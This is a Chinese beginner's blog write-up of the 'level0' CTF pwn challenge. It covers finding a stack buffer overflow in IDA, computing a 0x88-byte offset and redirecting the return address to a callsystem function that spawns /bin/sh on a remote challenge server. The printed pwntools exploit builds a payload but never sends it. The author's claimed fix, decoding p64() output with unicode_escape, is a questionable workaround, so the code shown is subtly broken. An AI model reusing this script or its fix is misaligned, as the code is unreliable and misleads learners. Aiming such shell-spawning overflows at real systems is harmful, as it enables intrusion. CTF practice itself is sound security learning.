level0-pwn题目新手营第二题做题思路总结

终于做到第二题啦,继续加油!(当然还是先跟着大佬的步骤学习人家是咋做的,然后再总结一下自己做题出现的问题)

首先先下载附件,使用IDA进行F5,观察程序代码,先看下main、callsystem、vulnerable_function()这几个函数(在IDA界面的左侧Function name那边),根据vulnerable_function()中的read函数中 buf,可能会存在栈溢出

而callsystem中有return 返回的是/bin/sh,所以根据大佬们的解题思路:就是将buf的数据填充垃圾数据后,是其指向callsystem的地址,这样就可以进入 system(“/bin/sh”),调用system打开了一个shell

所以下面先看buf 和 callsystem的地址:

通过点击buf 可以看到其地址是 -0000000000000080 ,而return在:+0000000000000008  

这样两者就是差 0x88 个位置

然后再加入call的地址来调用shell,下面找到call的地址:

双击在function name中的callsystem,然后会出现

这里的starts at 400596就是callsystem的地址

所以使用payload = ‘a’*0x88 + p64(callsystem的地址) 这里就是400596 这是核心代码

所以python脚本可以这么写:

 from pwn import*                                        
 p = remote('111.200.241.244',56471)
 call_system = 0x400596
 payload =0x88*'A' + p64(call_system)
 p.interactive()
  

这里的remote是远程连接的意思,process是本地连接,好像是因为是调shell本地运行不出flage,只能在线运行。

这里的IP地址和端口号都是通过点击获取题目场景出现的,每台电脑都不一样的

当然我这里把大佬们的代码又比着敲上以后,还是出现了问题:

通过一番查找资料,终于又有大佬帮我解决了!

要在p64()之后添加  .decode('unicode_escape')

 from pwn import*                                        
 p = remote('111.200.241.244',56471)
 call_system = 0x400596
 payload =0x88*'A' + p64(call_system).decode('unicode_escape')
 p.interactive()
  

然后保存(esc -> 输入冒号 -> wq)再执行一下就可以了(如果有不清楚这边怎么操作的,上一篇博客里有详细步骤,一起加油鸭!)

参照上图运行以后,ls一下,会出现flag,使用cat flag 命令就会出现flag啦 (继续加油鸭!)

总结一下:虽然刚开始两个题目wp都是看的别人的,但是终于算是有了点思路,学会了点操作,继续努力!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值